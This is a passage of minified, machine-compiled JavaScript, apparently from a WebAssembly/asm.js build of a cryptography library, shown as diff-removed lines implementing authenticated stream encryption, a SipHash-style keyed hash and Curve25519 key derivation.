| 0] << 24, a4[e6 + 12 >> 2] = r11, r11 = c4[t7 + 40 | 0] | c4[t7 + 41 | 0] << 8 | c4[t7 + 42 | 0] << 16 | c4[t7 + 43 | 0] << 24, a4[e6 + 32 >> 2] = c4[t7 + 36 | 0] | c4[t7 + 37 | 0] << 8 | c4[t7 + 38 | 0] << 16 | c4[t7 + 39 | 0] << 24, a4[e6 + 36 >> 2] = r11, Xt2(e6, e6, t7 + 32 | 0, t7), r11 = a4[e6 + 28 >> 2], n9 = a4[e6 + 24 >> 2], s4[t7 + 24 | 0] = n9, s4[t7 + 25 | 0] = n9 >>> 8, s4[t7 + 26 | 0] = n9 >>> 16, s4[t7 + 27 | 0] = n9 >>> 24, s4[t7 + 28 | 0] = r11, s4[t7 + 29 | 0] = r11 >>> 8, s4[t7 + 30 | 0] = r11 >>> 16, s4[t7 + 31 | 0] = r11 >>> 24, r11 = a4[e6 + 20 >> 2], n9 = a4[e6 + 16 >> 2], s4[t7 + 16 | 0] = n9, s4[t7 + 17 | 0] = n9 >>> 8, s4[t7 + 18 | 0] = n9 >>> 16, s4[t7 + 19 | 0] = n9 >>> 24, s4[t7 + 20 | 0] = r11, s4[t7 + 21 | 0] = r11 >>> 8, s4[t7 + 22 | 0] = r11 >>> 16, s4[t7 + 23 | 0] = r11 >>> 24, r11 = a4[e6 + 12 >> 2], n9 = a4[e6 + 8 >> 2], s4[t7 + 8 | 0] = n9, s4[t7 + 9 | 0] = n9 >>> 8, s4[t7 + 10 | 0] = n9 >>> 16, s4[t7 + 11 | 0] = n9 >>> 24, s4[t7 + 12 | 0] = r11, s4[t7 + 13 | 0] = r11 >>> 8, s4[t7 + 14 | 0] = r11 >>> 16, s4[t7 + 15 | 0] = r11 >>> 24, r11 = a4[e6 + 4 >> 2], n9 = a4[e6 >> 2], s4[0 | t7] = n9, s4[t7 + 1 | 0] = n9 >>> 8, s4[t7 + 2 | 0] = n9 >>> 16, s4[t7 + 3 | 0] = n9 >>> 24, s4[t7 + 4 | 0] = r11, s4[t7 + 5 | 0] = r11 >>> 8, s4[t7 + 6 | 0] = r11 >>> 16, s4[t7 + 7 | 0] = r11 >>> 24, n9 = a4[e6 + 36 >> 2], r11 = a4[e6 + 32 >> 2], s4[t7 + 32 | 0] = 1, s4[t7 + 33 | 0] = 0, s4[t7 + 34 | 0] = 0, s4[t7 + 35 | 0] = 0, s4[t7 + 36 | 0] = r11, s4[t7 + 37 | 0] = r11 >>> 8, s4[t7 + 38 | 0] = r11 >>> 16, s4[t7 + 39 | 0] = r11 >>> 24, s4[t7 + 40 | 0] = n9, s4[t7 + 41 | 0] = n9 >>> 8, s4[t7 + 42 | 0] = n9 >>> 16, s4[t7 + 43 | 0] = n9 >>> 24, I4 = e6 + 48 | 0; - }, sb: function(t7, e6, r11, n9, A8, o5, h5, g5, u5, l5) { - t7 |= 0, e6 |= 0, n9 |= 0, o5 |= 0, h5 |= 0, u5 |= 0, l5 |= 0; - var f5, p5 = 0, d5 = 0, y5 = 0; - return p5 = A8 |= 0, p5 |= A8 = 0, f5 = A8 | (g5 |= 0), I4 = A8 = I4 - 384 | 0, (r11 |= 0) && (a4[r11 >> 2] = 0, a4[r11 + 4 >> 2] = 0), !o5 & p5 >>> 0 < 4294967279 ? (Wt2(d5 = A8 + 16 | 0, 64, y5 = t7 + 32 | 0, t7), ne2(g5 = A8 + 80 | 0, d5), oe2(d5, 64), $t2(g5, h5, f5, u5), $t2(g5, 34288, 0 - f5 & 15, 0), a4[A8 + 72 >> 2] = 0, a4[A8 + 76 >> 2] = 0, a4[(h5 = A8 - -64 | 0) >> 2] = 0, a4[h5 + 4 >> 2] = 0, a4[A8 + 56 >> 2] = 0, a4[A8 + 60 >> 2] = 0, a4[A8 + 48 >> 2] = 0, a4[A8 + 52 >> 2] = 0, a4[A8 + 40 >> 2] = 0, a4[A8 + 44 >> 2] = 0, a4[A8 + 32 >> 2] = 0, a4[A8 + 36 >> 2] = 0, a4[A8 + 16 >> 2] = 0, a4[A8 + 20 >> 2] = 0, a4[A8 + 24 >> 2] = 0, a4[A8 + 28 >> 2] = 0, s4[A8 + 16 | 0] = l5, Et2(d5, d5, 64, 0, y5, 1, t7), $t2(g5, d5, 64, 0), s4[0 | e6] = c4[A8 + 16 | 0], Et2(e6 = e6 + 1 | 0, n9, p5, o5, y5, 2, t7), $t2(g5, e6, p5, o5), $t2(g5, 34288, 15 & p5, 0), a4[A8 + 8 >> 2] = f5, a4[A8 + 12 >> 2] = u5, $t2(g5, n9 = A8 + 8 | 0, 8, 0), a4[A8 + 8 >> 2] = p5 - -64, a4[A8 + 12 >> 2] = o5 - ((p5 >>> 0 < 4294967232) - 1 | 0), $t2(g5, n9, 8, 0), Ae2(g5, e6 = e6 + p5 | 0), oe2(g5, 256), s4[t7 + 36 | 0] = c4[t7 + 36 | 0] ^ c4[0 | e6], s4[t7 + 37 | 0] = c4[t7 + 37 | 0] ^ c4[e6 + 1 | 0], s4[t7 + 38 | 0] = c4[t7 + 38 | 0] ^ c4[e6 + 2 | 0], s4[t7 + 39 | 0] = c4[t7 + 39 | 0] ^ c4[e6 + 3 | 0], s4[t7 + 40 | 0] = c4[t7 + 40 | 0] ^ c4[e6 + 4 | 0], s4[t7 + 41 | 0] = c4[t7 + 41 | 0] ^ c4[e6 + 5 | 0], s4[t7 + 42 | 0] = c4[t7 + 42 | 0] ^ c4[e6 + 6 | 0], s4[t7 + 43 | 0] = c4[t7 + 43 | 0] ^ c4[e6 + 7 | 0], mt2(y5), (2 & l5 || ht2(y5, 4)) && (e6 = c4[t7 + 28 | 0] | c4[t7 + 29 | 0] << 8 | c4[t7 + 30 | 0] << 16 | c4[t7 + 31 | 0] << 24, a4[A8 + 360 >> 2] = c4[t7 + 24 | 0] | c4[t7 + 25 | 0] << 8 | c4[t7 + 26 | 0] << 16 | c4[t7 + 27 | 0] << 24, a4[A8 + 364 >> 2] = e6, e6 = c4[t7 + 20 | 0] | c4[t7 + 21 | 0] << 8 | c4[t7 + 22 | 0] << 16 | c4[t7 + 23 | 0] << 24, a4[A8 + 352 >> 2] = c4[t7 + 16 | 0] | c4[t7 + 17 | 0] << 8 | c4[t7 + 18 | 0] << 16 | c4[t7 + 19 | 0] << 24, a4[A8 + 356 >> 2] = e6, e6 = c4[t7 + 4 | 0] | c4[t7 + 5 | 0] << 8 | c4[t7 + 6 | 0] << 16 | c4[t7 + 7 | 0] << 24, a4[A8 + 336 >> 2] = c4[0 | t7] | c4[t7 + 1 | 0] << 8 | c4[t7 + 2 | 0] << 16 | c4[t7 + 3 | 0] << 24, a4[A8 + 340 >> 2] = e6, e6 = c4[t7 + 12 | 0] | c4[t7 + 13 | 0] << 8 | c4[t7 + 14 | 0] << 16 | c4[t7 + 15 | 0] << 24, a4[A8 + 344 >> 2] = c4[t7 + 8 | 0] | c4[t7 + 9 | 0] << 8 | c4[t7 + 10 | 0] << 16 | c4[t7 + 11 | 0] << 24, a4[A8 + 348 >> 2] = e6, e6 = c4[t7 + 40 | 0] | c4[t7 + 41 | 0] << 8 | c4[t7 + 42 | 0] << 16 | c4[t7 + 43 | 0] << 24, a4[A8 + 368 >> 2] = c4[t7 + 36 | 0] | c4[t7 + 37 | 0] << 8 | c4[t7 + 38 | 0] << 16 | c4[t7 + 39 | 0] << 24, a4[A8 + 372 >> 2] = e6, Xt2(e6 = A8 + 336 | 0, e6, y5, t7), e6 = a4[A8 + 364 >> 2], n9 = a4[A8 + 360 >> 2], s4[t7 + 24 | 0] = n9, s4[t7 + 25 | 0] = n9 >>> 8, s4[t7 + 26 | 0] = n9 >>> 16, s4[t7 + 27 | 0] = n9 >>> 24, s4[t7 + 28 | 0] = e6, s4[t7 + 29 | 0] = e6 >>> 8, s4[t7 + 30 | 0] = e6 >>> 16, s4[t7 + 31 | 0] = e6 >>> 24, e6 = a4[A8 + 356 >> 2], n9 = a4[A8 + 352 >> 2], s4[t7 + 16 | 0] = n9, s4[t7 + 17 | 0] = n9 >>> 8, s4[t7 + 18 | 0] = n9 >>> 16, s4[t7 + 19 | 0] = n9 >>> 24, s4[t7 + 20 | 0] = e6, s4[t7 + 21 | 0] = e6 >>> 8, s4[t7 + 22 | 0] = e6 >>> 16, s4[t7 + 23 | 0] = e6 >>> 24, e6 = a4[A8 + 348 >> 2], n9 = a4[A8 + 344 >> 2], s4[t7 + 8 | 0] = n9, s4[t7 + 9 | 0] = n9 >>> 8, s4[t7 + 10 | 0] = n9 >>> 16, s4[t7 + 11 | 0] = n9 >>> 24, s4[t7 + 12 | 0] = e6, s4[t7 + 13 | 0] = e6 >>> 8, s4[t7 + 14 | 0] = e6 >>> 16, s4[t7 + 15 | 0] = e6 >>> 24, e6 = a4[A8 + 340 >> 2], n9 = a4[A8 + 336 >> 2], s4[0 | t7] = n9, s4[t7 + 1 | 0] = n9 >>> 8, s4[t7 + 2 | 0] = n9 >>> 16, s4[t7 + 3 | 0] = n9 >>> 24, s4[t7 + 4 | 0] = e6, s4[t7 + 5 | 0] = e6 >>> 8, s4[t7 + 6 | 0] = e6 >>> 16, s4[t7 + 7 | 0] = e6 >>> 24, e6 = a4[A8 + 368 >> 2], n9 = a4[A8 + 372 >> 2], s4[t7 + 32 | 0] = 1, s4[t7 + 33 | 0] = 0, s4[t7 + 34 | 0] = 0, s4[t7 + 35 | 0] = 0, s4[t7 + 36 | 0] = e6, s4[t7 + 37 | 0] = e6 >>> 8, s4[t7 + 38 | 0] = e6 >>> 16, s4[t7 + 39 | 0] = e6 >>> 24, s4[t7 + 40 | 0] = n9, s4[t7 + 41 | 0] = n9 >>> 8, s4[t7 + 42 | 0] = n9 >>> 16, s4[t7 + 43 | 0] = n9 >>> 24), r11 && (o5 = (t7 = p5 + 17 | 0) >>> 0 < 17 ? o5 + 1 | 0 : o5, a4[r11 >> 2] = t7, a4[r11 + 4 >> 2] = o5), I4 = A8 + 384 | 0) : (Kt2(), i3()), 0; - }, tb: function(t7, e6, r11, n9, A8, o5, h5, g5, u5, l5) { - t7 |= 0, e6 |= 0, n9 |= 0, A8 |= 0, g5 |= 0, l5 |= 0; - var f5, p5 = 0, d5 = 0, y5 = 0, C5 = 0, m5 = 0, B5 = 0; - p5 = o5 |= 0, o5 = h5 |= 0, d5 = 0 | p5, f5 = u5 |= 0, I4 = h5 = I4 - 400 | 0, (r11 |= 0) && (a4[r11 >> 2] = 0, a4[r11 + 4 >> 2] = 0), n9 && (s4[0 | n9] = 255), B5 = -1; - t: { - e: { - if (!((u5 = d5 >>> 0 < 17) & !o5)) { - if (m5 = p5 = o5 - u5 | 0, !p5 & (u5 = d5 - 17 | 0) >>> 0 >= 4294967279 | p5) - break e; - Wt2(y5 = h5 + 32 | 0, 64, C5 = t7 + 32 | 0, t7), ne2(p5 = h5 + 96 | 0, y5), oe2(y5, 64), $t2(p5, g5, f5, l5), $t2(p5, 34288, 0 - f5 & 15, 0), a4[h5 + 88 >> 2] = 0, a4[h5 + 92 >> 2] = 0, a4[h5 + 80 >> 2] = 0, a4[h5 + 84 >> 2] = 0, a4[h5 + 72 >> 2] = 0, a4[h5 + 76 >> 2] = 0, a4[(g5 = h5 - -64 | 0) >> 2] = 0, a4[g5 + 4 >> 2] = 0, a4[h5 + 56 >> 2] = 0, a4[h5 + 60 >> 2] = 0, a4[h5 + 48 >> 2] = 0, a4[h5 + 52 >> 2] = 0, a4[h5 + 40 >> 2] = 0, a4[h5 + 44 >> 2] = 0, a4[h5 + 32 >> 2] = 0, a4[h5 + 36 >> 2] = 0, s4[h5 + 32 | 0] = c4[0 | A8], Et2(y5, y5, 64, 0, C5, 1, t7), g5 = c4[h5 + 32 | 0], s4[h5 + 32 | 0] = c4[0 | A8], $t2(p5, y5, 64, 0), $t2(p5, A8 = A8 + 1 | 0, u5, m5), $t2(p5, 34288, d5 - 1 & 15, 0), a4[h5 + 24 >> 2] = f5, a4[h5 + 28 >> 2] = l5, $t2(p5, l5 = h5 + 24 | 0, 8, 0), o5 = (d5 = d5 + 47 | 0) >>> 0 < 47 ? o5 + 1 | 0 : o5, a4[h5 + 24 >> 2] = d5, a4[h5 + 28 >> 2] = o5, $t2(p5, l5, 8, 0), Ae2(p5, h5), oe2(p5, 256), ut2(h5, A8 + u5 | 0, 16) ? oe2(h5, 16) : (Et2(e6, A8, u5, m5, C5, 2, t7), s4[t7 + 36 | 0] = c4[t7 + 36 | 0] ^ c4[0 | h5], s4[t7 + 37 | 0] = c4[t7 + 37 | 0] ^ c4[h5 + 1 | 0], s4[t7 + 38 | 0] = c4[t7 + 38 | 0] ^ c4[h5 + 2 | 0], s4[t7 + 39 | 0] = c4[t7 + 39 | 0] ^ c4[h5 + 3 | 0], s4[t7 + 40 | 0] = c4[t7 + 40 | 0] ^ c4[h5 + 4 | 0], s4[t7 + 41 | 0] = c4[t7 + 41 | 0] ^ c4[h5 + 5 | 0], s4[t7 + 42 | 0] = c4[t7 + 42 | 0] ^ c4[h5 + 6 | 0], s4[t7 + 43 | 0] = c4[t7 + 43 | 0] ^ c4[h5 + 7 | 0], mt2(C5), (2 & g5 || ht2(C5, 4)) && (e6 = c4[t7 + 28 | 0] | c4[t7 + 29 | 0] << 8 | c4[t7 + 30 | 0] << 16 | c4[t7 + 31 | 0] << 24, a4[h5 + 376 >> 2] = c4[t7 + 24 | 0] | c4[t7 + 25 | 0] << 8 | c4[t7 + 26 | 0] << 16 | c4[t7 + 27 | 0] << 24, a4[h5 + 380 >> 2] = e6, e6 = c4[t7 + 20 | 0] | c4[t7 + 21 | 0] << 8 | c4[t7 + 22 | 0] << 16 | c4[t7 + 23 | 0] << 24, a4[h5 + 368 >> 2] = c4[t7 + 16 | 0] | c4[t7 + 17 | 0] << 8 | c4[t7 + 18 | 0] << 16 | c4[t7 + 19 | 0] << 24, a4[h5 + 372 >> 2] = e6, e6 = c4[t7 + 4 | 0] | c4[t7 + 5 | 0] << 8 | c4[t7 + 6 | 0] << 16 | c4[t7 + 7 | 0] << 24, a4[h5 + 352 >> 2] = c4[0 | t7] | c4[t7 + 1 | 0] << 8 | c4[t7 + 2 | 0] << 16 | c4[t7 + 3 | 0] << 24, a4[h5 + 356 >> 2] = e6, e6 = c4[t7 + 12 | 0] | c4[t7 + 13 | 0] << 8 | c4[t7 + 14 | 0] << 16 | c4[t7 + 15 | 0] << 24, a4[h5 + 360 >> 2] = c4[t7 + 8 | 0] | c4[t7 + 9 | 0] << 8 | c4[t7 + 10 | 0] << 16 | c4[t7 + 11 | 0] << 24, a4[h5 + 364 >> 2] = e6, e6 = c4[t7 + 40 | 0] | c4[t7 + 41 | 0] << 8 | c4[t7 + 42 | 0] << 16 | c4[t7 + 43 | 0] << 24, a4[h5 + 384 >> 2] = c4[t7 + 36 | 0] | c4[t7 + 37 | 0] << 8 | c4[t7 + 38 | 0] << 16 | c4[t7 + 39 | 0] << 24, a4[h5 + 388 >> 2] = e6, Xt2(e6 = h5 + 352 | 0, e6, C5, t7), e6 = a4[h5 + 380 >> 2], A8 = a4[h5 + 376 >> 2], s4[t7 + 24 | 0] = A8, s4[t7 + 25 | 0] = A8 >>> 8, s4[t7 + 26 | 0] = A8 >>> 16, s4[t7 + 27 | 0] = A8 >>> 24, s4[t7 + 28 | 0] = e6, s4[t7 + 29 | 0] = e6 >>> 8, s4[t7 + 30 | 0] = e6 >>> 16, s4[t7 + 31 | 0] = e6 >>> 24, e6 = a4[h5 + 372 >> 2], A8 = a4[h5 + 368 >> 2], s4[t7 + 16 | 0] = A8, s4[t7 + 17 | 0] = A8 >>> 8, s4[t7 + 18 | 0] = A8 >>> 16, s4[t7 + 19 | 0] = A8 >>> 24, s4[t7 + 20 | 0] = e6, s4[t7 + 21 | 0] = e6 >>> 8, s4[t7 + 22 | 0] = e6 >>> 16, s4[t7 + 23 | 0] = e6 >>> 24, e6 = a4[h5 + 364 >> 2], A8 = a4[h5 + 360 >> 2], s4[t7 + 8 | 0] = A8, s4[t7 + 9 | 0] = A8 >>> 8, s4[t7 + 10 | 0] = A8 >>> 16, s4[t7 + 11 | 0] = A8 >>> 24, s4[t7 + 12 | 0] = e6, s4[t7 + 13 | 0] = e6 >>> 8, s4[t7 + 14 | 0] = e6 >>> 16, s4[t7 + 15 | 0] = e6 >>> 24, e6 = a4[h5 + 356 >> 2], A8 = a4[h5 + 352 >> 2], s4[0 | t7] = A8, s4[t7 + 1 | 0] = A8 >>> 8, s4[t7 + 2 | 0] = A8 >>> 16, s4[t7 + 3 | 0] = A8 >>> 24, s4[t7 + 4 | 0] = e6, s4[t7 + 5 | 0] = e6 >>> 8, s4[t7 + 6 | 0] = e6 >>> 16, s4[t7 + 7 | 0] = e6 >>> 24, e6 = a4[h5 + 384 >> 2], A8 = a4[h5 + 388 >> 2], s4[t7 + 32 | 0] = 1, s4[t7 + 33 | 0] = 0, s4[t7 + 34 | 0] = 0, s4[t7 + 35 | 0] = 0, s4[t7 + 36 | 0] = e6, s4[t7 + 37 | 0] = e6 >>> 8, s4[t7 + 38 | 0] = e6 >>> 16, s4[t7 + 39 | 0] = e6 >>> 24, s4[t7 + 40 | 0] = A8, s4[t7 + 41 | 0] = A8 >>> 8, s4[t7 + 42 | 0] = A8 >>> 16, s4[t7 + 43 | 0] = A8 >>> 24), r11 && (a4[r11 >> 2] = u5, a4[r11 + 4 >> 2] = m5), B5 = 0, n9 && (s4[0 | n9] = g5)); - } - I4 = h5 + 400 | 0; - break t; - } - Kt2(), i3(); - } - return 0 | B5; - }, ub: function() { - return 52; - }, vb: function() { - return 17; - }, wb: he2, xb: ce2, yb: function() { - return -18; - }, zb: pe2, Ab: le2, Bb: function() { - return 2; - }, Cb: function() { - return 3; - }, Db: fe2, Eb: ae2, Fb: function(t7, e6, r11, n9, A8) { - t7 |= 0, e6 |= 0, r11 |= 0, n9 |= 0; - var i4, o5 = 0, a5 = 0, h5 = 0, g5 = 0, u5 = 0, l5 = 0, f5 = 0, p5 = 0, d5 = 0, I5 = 0, C5 = 0, m5 = 0, B5 = 0, E5 = 0, w5 = 0; - if (B5 = 1886610805 ^ (o5 = c4[0 | (A8 |= 0)] | c4[A8 + 1 | 0] << 8 | c4[A8 + 2 | 0] << 16 | c4[A8 + 3 | 0] << 24), p5 = 1936682341 ^ (a5 = c4[A8 + 4 | 0] | c4[A8 + 5 | 0] << 8 | c4[A8 + 6 | 0] << 16 | c4[A8 + 7 | 0] << 24), o5 ^= 1852142177, h5 = 1819895653 ^ a5, E5 = 1852075885 ^ (a5 = c4[A8 + 8 | 0] | c4[A8 + 9 | 0] << 8 | c4[A8 + 10 | 0] << 16 | c4[A8 + 11 | 0] << 24), w5 = 1685025377 ^ (A8 = c4[A8 + 12 | 0] | c4[A8 + 13 | 0] << 8 | c4[A8 + 14 | 0] << 16 | c4[A8 + 15 | 0] << 24), f5 = 2037671283 ^ a5, a5 = 1952801890 ^ A8, C5 = r11, (0 | (I5 = (r11 + e6 | 0) - (i4 = 7 & r11) | 0)) != (0 | e6)) { - for (; r11 = (u5 = a5 ^ (m5 = c4[e6 + 4 | 0] | c4[e6 + 5 | 0] << 8 | c4[e6 + 6 | 0] << 16 | c4[e6 + 7 | 0] << 24)) + h5 | 0, f5 = n9 = o5 + (A8 = f5 ^ (d5 = c4[0 | e6] | c4[e6 + 1 | 0] << 8 | c4[e6 + 2 | 0] << 16 | c4[e6 + 3 | 0] << 24)) | 0, l5 = r11 = n9 >>> 0 < A8 >>> 0 ? r11 + 1 | 0 : r11, o5 = n9, n9 = r11, r11 = p5 + w5 | 0, r11 = (a5 = B5 + E5 | 0) >>> 0 < E5 >>> 0 ? r11 + 1 | 0 : r11, g5 = (h5 = ft2(E5, w5, 13) ^ a5) + o5 | 0, n9 = (o5 = y4 ^ r11) + n9 | 0, o5 = ft2(h5, o5, 17) ^ g5, B5 = ft2(o5, n9 = (h5 = h5 >>> 0 > g5 >>> 0 ? n9 + 1 | 0 : n9) ^ y4, 13), p5 = y4, u5 = ft2(A8, u5, 16), A8 = l5 ^ y4, u5 ^= f5, l5 = ft2(a5, r11, 32), r11 = y4 + A8 | 0, r11 = (f5 = n9) + (n9 = (a5 = u5 + l5 | 0) >>> 0 < l5 >>> 0 ? r11 + 1 | 0 : r11) | 0, l5 = r11 = (f5 = o5 + a5 | 0) >>> 0 < a5 >>> 0 ? r11 + 1 | 0 : r11, B5 = ft2(o5 = f5 ^ B5, r11 ^= p5, 17), p5 = y4, u5 = ft2(u5, A8, 21), A8 = n9 ^ y4, u5 ^= a5, a5 = ft2(g5, h5, 32), n9 = y4 + A8 | 0, r11 = (a5 = a5 >>> 0 > (h5 = u5 + a5 | 0) >>> 0 ? n9 + 1 | 0 : n9) + r11 | 0, E5 = (o5 = o5 + h5 | 0) ^ B5, n9 = r11 = o5 >>> 0 < h5 >>> 0 ? r11 + 1 | 0 : r11, w5 = r11 ^ p5, r11 = ft2(u5, A8, 16), u5 = a5 ^= y4, g5 = ft2(r11 ^= h5, a5, 21), h5 = y4, l5 = (a5 = ft2(f5, l5, 32)) + r11 | 0, r11 = y4 + u5 | 0, f5 = g5 ^ l5, a5 = (r11 = a5 >>> 0 > l5 >>> 0 ? r11 + 1 | 0 : r11) ^ h5, o5 = ft2(o5, n9, 32), h5 = y4, B5 = l5 ^ d5, p5 = r11 ^ m5, (0 | I5) != (0 | (e6 = e6 + 8 | 0)); ) - ; - e6 = I5; - } - switch (m5 = 0, g5 = C5 << 24, i4 - 1 | 0) { - case 6: - g5 |= c4[e6 + 6 | 0] << 16; - case 5: - g5 |= c4[e6 + 5 | 0] << 8; - case 4: - g5 |= c4[e6 + 4 | 0]; - case 3: - m5 |= (r11 = c4[e6 + 3 | 0]) << 24, g5 |= n9 = r11 >>> 8 | 0; - case 2: - m5 |= (n9 = c4[e6 + 2 | 0]) << 16, g5 |= r11 = n9 >>> 16 | 0; - case 1: - m5 |= (r11 = c4[e6 + 1 | 0]) << 8, g5 |= n9 = r11 >>> 24 | 0; - case 0: - m5 = c4[0 | e6] | m5; - } - return e6 = t7, n9 = ft2(A8 = f5 ^ m5, t7 = a5 ^ g5, 16), t7 = t7 + h5 | 0, l5 = t7 = (f5 = A8 + o5 | 0) >>> 0 < o5 >>> 0 ? t7 + 1 | 0 : t7, d5 = ft2(A8 = n9 ^ f5, t7 ^= r11 = y4, 21), a5 = y4, r11 = p5 + w5 | 0, n9 = r11 = (o5 = B5 + E5 | 0) >>> 0 < E5 >>> 0 ? r11 + 1 | 0 : r11, I5 = A8, A8 = ft2(o5, r11, 32), r11 = y4 + t7 | 0, t7 = a5, a5 = r11 = A8 >>> 0 > (h5 = I5 + A8 | 0) >>> 0 ? r11 + 1 | 0 : r11, u5 = ft2(A8 = h5 ^ d5, t7 ^= r11, 16), d5 = y4, C5 = ft2(E5, w5, 13) ^ o5, n9 = (I5 = y4 ^ n9) + l5 | 0, l5 = A8, A8 = ft2(r11 = (o5 = C5) + f5 | 0, n9 = r11 >>> 0 < o5 >>> 0 ? n9 + 1 | 0 : n9, 32), t7 = y4 + t7 | 0, p5 = ft2(o5 = u5 ^ (f5 = l5 + A8 | 0), A8 = (l5 = A8 >>> 0 > f5 >>> 0 ? t7 + 1 | 0 : t7) ^ d5, 21), d5 = y4, u5 = ft2(C5, I5, 17) ^ r11, r11 = (C5 = y4 ^ n9) + a5 | 0, t7 = r11 = (n9 = h5 = (t7 = u5) + h5 | 0) >>> 0 < t7 >>> 0 ? r11 + 1 | 0 : r11, a5 = o5, o5 = ft2(n9, r11, 32), r11 = y4 + A8 | 0, I5 = r11 = (a5 = o5 >>> 0 > (h5 = a5 + o5 | 0) >>> 0 ? r11 + 1 | 0 : r11) ^ d5, d5 = ft2(p5 ^= h5, r11, 16), o5 = y4, u5 = ft2(u5, C5, 13) ^ n9, t7 = (C5 = t7 ^ y4) + l5 | 0, n9 = t7 = (r11 = u5) >>> 0 > (A8 = r11 + f5 | 0) >>> 0 ? t7 + 1 | 0 : t7, t7 = ft2(A8, t7, 32), r11 = I5 + y4 | 0, I5 = r11 = (l5 = o5) ^ (o5 = (t7 = p5 + (255 ^ t7) | 0) >>> 0 < p5 >>> 0 ? r11 + 1 | 0 : r11), f5 = t7, d5 = ft2(p5 = d5 ^ t7, r11, 21), l5 = y4, u5 = ft2(u5, C5, 17) ^ A8, r11 = (C5 = n9 ^ y4) + (a5 ^ g5) | 0, n9 = r11 = (t7 = h5 ^ m5) >>> 0 > (A8 = u5 + t7 | 0) >>> 0 ? r11 + 1 | 0 : r11, t7 = ft2(A8, r11, 32), r11 = I5 + y4 | 0, I5 = r11 = (a5 = (t7 = t7 + p5 | 0) >>> 0 < p5 >>> 0 ? r11 + 1 | 0 : r11) ^ l5, l5 = t7, d5 = ft2(p5 = d5 ^ t7, r11, 16), h5 = y4, u5 = ft2(u5, C5, 13) ^ A8, t7 = o5 + (g5 = y4 ^ n9) | 0, t7 = ft2(A8 = f5 + u5 | 0, r11 = t7 = A8 >>> 0 < f5 >>> 0 ? t7 + 1 | 0 : t7, 32), n9 = I5 + y4 | 0, C5 = n9 = (o5 = (t7 = t7 + p5 | 0) >>> 0 < p5 >>> 0 ? n9 + 1 | 0 : n9) ^ h5, h5 = t7, I5 = ft2(p5 = d5 ^ t7, n9, 21), d5 = y4, t7 = ft2(u5, g5, 17), r11 = a5 + (g5 = r11 ^ y4) | 0, n9 = r11 = (A8 = l5 + (f5 = t7 ^ A8) | 0) >>> 0 < l5 >>> 0 ? r11 + 1 | 0 : r11, t7 = ft2(A8, r11, 32), r11 = C5 + y4 | 0, l5 = t7 = t7 + p5 | 0, a5 = r11 = t7 >>> 0 < p5 >>> 0 ? r11 + 1 | 0 : r11, C5 = ft2(u5 = I5 ^ t7, r11 ^= d5, 16), I5 = y4, t7 = ft2(f5, g5, 13), n9 = o5 + (d5 = n9 ^ y4) | 0, t7 = ft2(o5 = h5 + (g5 = t7 ^ A8) | 0, n9 = o5 >>> 0 < h5 >>> 0 ? n9 + 1 | 0 : n9, 32), r11 = r11 + y4 | 0, f5 = t7 = t7 + u5 | 0, h5 = r11 = t7 >>> 0 < u5 >>> 0 ? r11 + 1 | 0 : r11, u5 = ft2(A8 = C5 ^ t7, t7 = r11 ^ I5, 21), C5 = y4, g5 = ft2(g5, d5, 17), r11 = a5 + (I5 = n9 ^ y4) | 0, d5 = o5 ^ g5, o5 = A8, A8 = ft2(n9 = l5 + d5 | 0, r11 = n9 >>> 0 < l5 >>> 0 ? r11 + 1 | 0 : r11, 32), t7 = y4 + t7 | 0, C5 = ft2(o5 = u5 ^ (l5 = o5 + A8 | 0), A8 = (a5 = A8 >>> 0 > l5 >>> 0 ? t7 + 1 | 0 : t7) ^ C5, 16), g5 = y4, t7 = ft2(d5, I5, 13), r11 = h5 + (I5 = r11 ^ y4) | 0, t7 = r11 = (n9 = f5 + (d5 = t7 ^ n9) | 0) >>> 0 < f5 >>> 0 ? r11 + 1 | 0 : r11, h5 = ft2(n9, r11, 32), r11 = y4 + A8 | 0, g5 = ft2(C5 ^ (A8 = o5 = h5 + o5 | 0), (r11 = A8 >>> 0 < h5 >>> 0 ? r11 + 1 | 0 : r11) ^ g5, 21), f5 = y4, o5 = ft2(d5, I5, 17) ^ n9, h5 = ft2(o5, t7 ^= y4, 13), t7 = t7 + a5 | 0, n9 = t7 = y4 ^ ((o5 = o5 + l5 | 0) >>> 0 < l5 >>> 0 ? t7 + 1 : t7), o5 = ft2(a5 = o5 ^ h5, t7, 17) ^ g5, t7 = y4 ^ f5, n9 = r11 + n9 | 0, r11 = ft2(r11 = A8 + a5 | 0, n9 = r11 >>> 0 < A8 >>> 0 ? n9 + 1 | 0 : n9, 32) ^ o5 ^ r11, s4[0 | e6] = r11, s4[e6 + 1 | 0] = r11 >>> 8, s4[e6 + 2 | 0] = r11 >>> 16, s4[e6 + 3 | 0] = r11 >>> 24, t7 ^= n9 ^ y4, s4[e6 + 4 | 0] = t7, s4[e6 + 5 | 0] = t7 >>> 8, s4[e6 + 6 | 0] = t7 >>> 16, s4[e6 + 7 | 0] = t7 >>> 24, 0; - }, Gb: function(t7) { - vt2(t7 |= 0, 16); - }, Hb: se2, Ib: ue2, Jb: ce2, Kb: ce2, Lb: ue2, Mb: function() { - return -65; - }, Nb: function(t7, e6, r11) { - t7 |= 0; - var n9, A8, i4, o5, a5 = 0, h5 = 0, g5 = 0, u5 = 0, l5 = 0; - return I4 = i4 = I4 - 160 | 0, ct2(e6 |= 0, r11 |= 0, 32, 0), s4[0 | e6] = 248 & c4[0 | e6], s4[e6 + 31 | 0] = 63 & c4[e6 + 31 | 0] | 64, H4(i4, e6), bt2(t7, i4), h5 = c4[(A8 = r11) + 8 | 0] | c4[A8 + 9 | 0] << 8 | c4[A8 + 10 | 0] << 16 | c4[A8 + 11 | 0] << 24, a5 = c4[A8 + 12 | 0] | c4[A8 + 13 | 0] << 8 | c4[A8 + 14 | 0] << 16 | c4[A8 + 15 | 0] << 24, g5 = c4[A8 + 16 | 0] | c4[A8 + 17 | 0] << 8 | c4[A8 + 18 | 0] << 16 | c4[A8 + 19 | 0] << 24, u5 = c4[A8 + 20 | 0] | c4[A8 + 21 | 0] << 8 | c4[A8 + 22 | 0] << 16 | c4[A8 + 23 | 0] << 24, l5 = c4[0 | A8] | c4[A8 + 1 | 0] << 8 | c4[A8 + 2 | 0] << 16 | c4[A8 + 3 | 0] << 24, r11 = c4[A8 + 4 | 0] | c4[A8 + 5 | 0] << 8 | c4[A8 + 6 | 0] << 16 | c4[A8 + 7 | 0] << 24, o5 = c4[A8 + 28 | 0] | c4[A8 + 29 | 0] << 8 | c4[A8 + 30 | 0] << 16 | c4[A8 + 31 | 0] << 24, n9 = e6, e6 = c4[A8 + 24 | 0] | c4[A8 + 25 | 0] << 